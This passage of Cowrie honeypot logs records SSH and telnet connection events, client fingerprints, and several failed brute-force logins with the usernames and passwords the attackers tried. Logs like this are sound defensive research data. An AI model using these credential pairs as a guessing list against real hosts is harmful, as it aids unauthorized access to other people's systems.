com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:07:10.264245Z","src_ip":"165.22.184.88","session":"fb3883e40fdb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rvnwallet","password":"ravencoin123","message":"login attempt [rvnwallet/ravencoin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:07:10.278309Z","src_ip":"165.22.184.88","session":"fb3883e40fdb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:07:11.286183Z","src_ip":"165.22.184.88","session":"fb3883e40fdb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.67.46.203","src_port":60710,"dst_ip":"10.17.0.5","dst_port":22,"session":"294df9313823","protocol":"ssh","message":"New connection: 152.67.46.203:60710 (10.17.0.5:22) [session: 294df9313823]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:07:18.271914Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:07:18.275559Z","src_ip":"152.67.46.203","session":"294df9313823","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:07:18.388432Z","src_ip":"152.67.46.203","session":"294df9313823","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.240.218.183","src_port":43054,"dst_ip":"10.17.0.5","dst_port":22,"session":"56f833813d20","protocol":"ssh","message":"New connection: 162.240.218.183:43054 (10.17.0.5:22) [session: 56f833813d20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:07:18.513006Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:07:18.517096Z","src_ip":"162.240.218.183","session":"56f833813d20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:07:18.606052Z","src_ip":"162.240.218.183","session":"56f833813d20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":51978,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe0706366129","protocol":"ssh","message":"New connection: 91.92.40.4:51978 (10.17.0.5:22) [session: fe0706366129]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:07:18.737077Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:07:18.740830Z","src_ip":"91.92.40.4","session":"fe0706366129","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:07:18.821135Z","src_ip":"91.92.40.4","session":"fe0706366129","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wise","message":"login attempt [root/wise] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:07:18.872416Z","src_ip":"152.67.46.203","session":"294df9313823","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"siacoin123","message":"login attempt [root/siacoin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:07:18.876725Z","src_ip":"162.240.218.183","session":"56f833813d20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"qwerty123","message":"login attempt [git/qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:07:19.098392Z","src_ip":"91.92.40.4","session":"fe0706366129","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":49492,"dst_ip":"159.203.135.109","dst_port":23,"session":"d3d3b004cfd5","protocol":"telnet","message":"New connection: 170.64.224.25:49492 (159.203.135.109:23) [session: d3d3b004cfd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:07:19.731762Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:07:19.967426Z","src_ip":"162.240.218.183","session":"56f833813d20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:07:19.987882Z","src_ip":"152.67.46.203","session":"294df9313823","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:07:20.180788Z","src_ip":"91.92.40.4","session":"fe0706366129","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":40180,"dst_ip":"159.203.135.109","dst_port":22,"session":"674fc0c6dfa4","protocol":"ssh","message":"New connection: 159.65.58.200:40180 (159.203.135.109:22) [session: 674fc0c6dfa4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:07:20.896821Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:07:21.131601Z","src_ip":"159.65.58.200","session":"674fc0c6dfa4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:07:21.136297Z","src_ip":"159.65.58.200","session":"674fc0c6dfa4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"shadura","password":"123456","message":"login attempt [shadura/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:07:22.504820Z","src_ip":"159.65.58.200","session":"674fc0c6dfa4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:07:23.907744Z","src_ip":"159.65.58.200","session":"674fc0c6dfa4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.200.205.179","src_port":59740,"dst_ip":"10.17.0.5","dst_port":22,"session":"c2c5d96d888b","protocol":"ssh","message":"New connection: 152.200.205.179:59740 (10.17.0.5:22) [session: c2c5d96d888b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:07:38.173466Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:07:38.176982Z","src_ip":"152.200.205.179","session":"c2c5d96d888b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:07:38.273495Z","src_ip":"152.200.205.179","session":"c2c5d96d888b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":55858,"dst_ip":"159.203.135.109","dst_port":22,"session":"9721319e6ac4","protocol":"ssh","message":"New connection: 103.77.242.62:55858 (159.203.135.109:22) [session: 9721319e6ac4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:07:38.497966Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:07:38.500712Z","src_ip":"103.77.242.62","session":"9721319e6ac4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111222333","message":"login attempt [root/111222333] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:07:38.694674Z","src_ip":"152.200.205.179","session":"c2c5d96d888b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:07:38.737627Z","src_ip":"103.77.242.62","session":"9721319e6ac4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"09121983","message":"login attempt [root/09121983] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:07:39.451258Z","src_ip":"103.77.242.62","session":"9721319e6ac4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:07:39.794869Z","src_ip":"152.200.205.179","session":"c2c5d96d888b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:07:40.692768Z","src_ip":"103.77.242.62","session":"9721319e6ac4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.192.46.32","src_port":58954,"dst_ip":"10.17.0.5","dst_port":22,"session":"a304a214ee36","protocol":"ssh","message":"New connection: 81.192.46.32:58954 (10.17.0.5:22) [session: a304a214ee36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:07:45.475546Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:07:45.480392Z","src_ip":"81.192.46.32","session":"a304a214ee36","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:07:45.597620Z","src_ip":"81.192.46.32","session":"a304a214ee36","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp1","password":"123123","message":"login attempt [ftp1/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:07:46.097976Z","src_ip":"81.192.46.32","session":"a304a214ee36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:07:47.217370Z","src_ip":"81.192.46.32","session":"a304a214ee36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.58.213.128","src_port":33690,"dst_ip":"10.17.0.5","dst_port":22,"session":"11ce10b17f13","protocol":"ssh","message":"New connection: 123.58.213.128:33690 (10.17.0.5:22) [session: 11ce10b17f13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:07:51.981551Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:07:51.985052Z","src_ip":"123.58.213.128","session":"11ce10b17f13","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:07:52.207524Z","src_ip":"123.58.213.128","session":"11ce10b17f13","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux123456","message":"login attempt [root/linux123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:07:53.138372Z","src_ip":"123.58.213.128","session":"11ce10b17f13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:07:54.362471Z","src_ip":"123.58.213.128","session":"11ce10b17f13","protocol":"ssh"}
